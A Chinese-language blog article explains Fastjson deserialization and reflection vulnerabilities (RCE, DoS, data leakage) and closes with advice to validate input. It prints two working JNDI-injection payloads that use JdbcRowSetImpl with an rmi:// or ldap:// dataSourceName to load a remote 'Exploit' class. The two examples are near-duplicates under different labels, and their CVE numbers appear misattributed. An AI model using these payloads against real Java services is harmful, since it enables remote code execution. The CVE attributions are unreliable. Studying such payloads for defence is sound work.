Fastjson 是一个非常流行的 Java 序列化/反序列化工具,但是最近几年一直被频繁曝出漏洞,造成了很大的安全隐患。那么 Fastjson 到底做错了什么?为什么会被频繁爆出漏洞?
背景介绍
Fastjson 是由阿里巴巴集团的工程师封装的一个 Java 序列化/反序列化工具。由于其出色的性能和易用性,已经被广泛应用于各种 Java 项目中。但是因为其一些不合理的设计和实现方式,导致 Fastjson 存在很多安全问题。
Fastjson 存在的安全问题
反序列化漏洞
Fastjson 存在大量的反序列化漏洞,这些漏洞多数是由于 Fastjson 对外部输入没有进行足够的校验和过滤。攻击者可以构造恶意数据,使得 Fastjson 在反序列化时执行一些有害的操作,比如:
- RCE:攻击者可以通过构造特殊的数据结构,使得 Fastjson 被反序列化后执行恶意代码。
- DoS:攻击者可以构造特殊的数据结构,使得 Fastjson 被反序列化后占用过多的 CPU 和内存资源,导致系统无法正常运行。
- 数据泄露:攻击者可以构造特殊的数据结构,使得 Fastjson 被反序列化后获取系统中的敏感数据,比如密码、秘钥等。
反射调用漏洞
Fastjson 使用反射机制调用 Java 类的方法,攻击者可以通过构造恶意数据,触发 Fastjson 反射调用某个类的敏感方法,比如:
- RCE:攻击者可以通过构造特殊的数据结构,使得 Fastjson 在反序列化时调用某个类的敏感方法,比如 Runtime.exec(),从而实现远程代码执行。
- 数据泄露:攻击者可以通过构造特殊的数据结构,触发 Fastjson 反射调用某个类的获取敏感数据的方法,比如获取系统属性、Java 版本信息等。
Fastjson 漏洞示例
CVE-2017-18356
这是一个 Fastjson 反序列化漏洞,攻击者可以通过构造恶意 JSON 数据,使得 Fastjson 在反序列化时执行恶意代码。例如:
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}";
Object obj = JSON.parse(payload);
在上面的代码中,攻击者构造了一个恶意 JSON 数据,指定 @type 属性为 com.sun.rowset.JdbcRowSetImpl,同时设置了 dataSourceName 为 RMI 协议地址,将 Fastjson 在反序列化时转换成 JdbcRowSetImpl 对象,并在这个过程中利用 RMI 协议发起远程类加载攻击。
CVE-2020-10882
这是一个 Fastjson 反射调用漏洞,攻击者可以通过构造恶意 JSON 数据,触发 Fastjson 反射调用某个类的敏感方法。例如:
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:8888/Exploit\",\"autoCommit\":true}";
Object obj = JSON.parse(payload);
在上面的代码中,攻击者构造了一个恶意 JSON 数据,指定 @type 属性为 com.sun.rowset.JdbcRowSetImpl,同时设置了 dataSourceName 为 LDAP 协议地址,将 Fastjson 在反序列化时转换成 JdbcRowSetImpl 对象,并在这个过程中利用 LDAP 协议发起远程类加载攻击。
总结
Fastjson 是一个很好用的 Java 序列化/反序列化工具,但是其存在大量的安全问题,导致被攻击者广泛利用。为避免 Fastjson 漏洞对系统造成危害,我们需要谨慎地使用 Fastjson,并对其输入进行足够的校验和过滤。
本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:fastjson到底做错了什么?为什么会被频繁爆出漏洞?(推荐) - Python技术站